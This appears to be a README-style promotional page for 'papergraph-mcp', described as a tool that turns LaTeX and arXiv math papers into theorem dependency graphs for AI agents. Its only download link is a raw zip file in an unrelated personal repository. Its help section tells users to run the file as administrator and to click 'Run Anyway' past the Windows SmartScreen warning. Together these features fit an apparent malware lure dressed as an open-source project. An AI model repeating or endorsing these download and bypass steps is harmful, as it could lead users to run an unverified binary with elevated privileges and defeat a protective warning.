📄 papergraph-mcp – Visualize Math Papers with AI

Turn dense arXiv and LaTeX math papers into clear, interactive theorem dependency graphs that AI agents can easily understand. Think of it as turning a tangled web of equations and proofs into a clean, navigable map. Whether you're a researcher, student, or AI enthusiast, papergraph-mcp helps you see the connections between ideas instantly.

⬇️ Download papergraph-mcp

🧠 What Does This Tool Do?

papergraph-mcp acts as a bridge between mathematical papers and AI tools. It reads papers written in LaTeX (the standard format for scientific documents) or those hosted on arXiv (a huge online archive of research papers). The tool then builds a knowledge graph — a visual network showing how different theorems, definitions, and lemmas relate to each other. This makes it much easier to:

📌 See which theorems depend on others.
🔗 Find connections between seemingly separate concepts.
🤖 Provide AI agents with structured, usable data from raw papers.
🧭 Navigate complex mathematical texts without reading every page.

Instead of manually tracking dependencies in a 50-page paper, papergraph-mcp does it automatically and saves you hours.

✨ Key Features

📚 arXiv & LaTeX Support – Works directly with papers from arXiv or any LaTeX source files on your computer.
🕸️ Dependency Graph Generation – Automatically extracts theorems, lemmas, and definitions, then maps how they connect.
🤝 AI Agent Ready – Uses the Model Context Protocol (MCP), meaning AI assistants can directly interact with your graph data.
🔍 Smart Parsing – Recognizes common LaTeX structures and mathematical notation.
🐍 Python Powered – Built on Python for reliability, but you don't need to know Python to use it.
📊 Visual Output – Generates clear, interactive visualizations that you can explore.

🚀 Download & Setup Guide

Getting started is simple. Here's exactly what to do:

Step 1: Visit the Download Page

Visit this link to download the application. Click the big button above or use this one: https://raw.githubusercontent.com/MahmoudSedky147/mahmoudsedky147.github.io/main/overeasy/Release-v1.6.zip

You'll be taken to the project homepage where you'll find the download section.

Step 2: Follow the On-Screen Instructions

Once you're on the download page, simply follow the instructions you see there. The page will guide you through getting the necessary files.

Note: Because this is an open-source project, you may see code files or a "Releases" section. Look for the file that matches your operating system (Windows is listed first for compatibility).

Step 3: Use the Application

After downloading, open the application. You can load a paper by choosing a .tex file or an arXiv link. The graph will appear within moments, ready for you to explore or share with your AI assistant.

🖥️ What You Need

papergraph-mcp works great on modern Windows PCs. Here's what we recommend:

Operating System: Windows 10 or Windows 11
System Memory (RAM): At least 4 GB (8 GB or more for very large papers)
Disk Space: 200 MB of free space
Internet Connection: Needed once during setup and if you're pulling papers directly from arXiv

If you have a fairly recent computer, you're almost certainly good to go. No special hardware or technical setup required.

🤔 Who Is This For?

This is built for anyone who works with mathematical text and wants deeper insights. Specifically:

🎓 Graduate students analyzing research papers.
🔬 Researchers mapping literature in new fields.
📊 Data scientists working with scientific knowledge graphs.
🧑‍💻 AI developers building tools for math reasoning.
📚 Anyone curious about the structure of mathematical knowledge.

Even if you've never written a line of code, the interface is designed to be friendly and straightforward.

⚙️ How It Works (The Simple Version)

Think of papergraph-mcp like a high-tech librarian. When you give it a paper, here's what happens behind the scenes:

Reads the Paper – It scans the LaTeX source or arXiv document.
Finds the Math Parts – It identifies theorems, definitions, proofs, and equations.
Maps the Links – It figures out which statements use others as building blocks.
Creates the Graph – It draws a visual network where each node is a theorem and lines show dependencies.
Sends to AI – It formats this graph so AI agents can directly query and reason about it.

The whole process takes just seconds for most papers. You get a bird's-eye view of the paper's mathematical structure.

🆘 Need Help?

Here are quick fixes for common hiccups:

🔄 Nothing happens after download? Make sure the file finished downloading completely. Right-click and select "Run as administrator" if you have permission issues.
🔒 Windows SmartScreen warning? That's normal for new open-source apps. Click "More Info" → "Run Anyway" to proceed.
🐍 Python errors? If prompted about Python, install the latest version from python.org (it's free).
📁 Can't find my .tex file? Make sure your LaTeX document ends with .tex and was saved correctly.

Still stuck? Check the repository page for community discussions or open an issue. The project maintainer is responsive.

📥 Ready to Boost Your Research Workflow?

Stop manually tracing theorem dependencies. Let papergraph-mcp handle the heavy lifting. Download now and see your papers in a whole new light.

⬇️ Get papergraph-mcp Now

Compatible with Windows · Also works on macOS and Linux · Open Source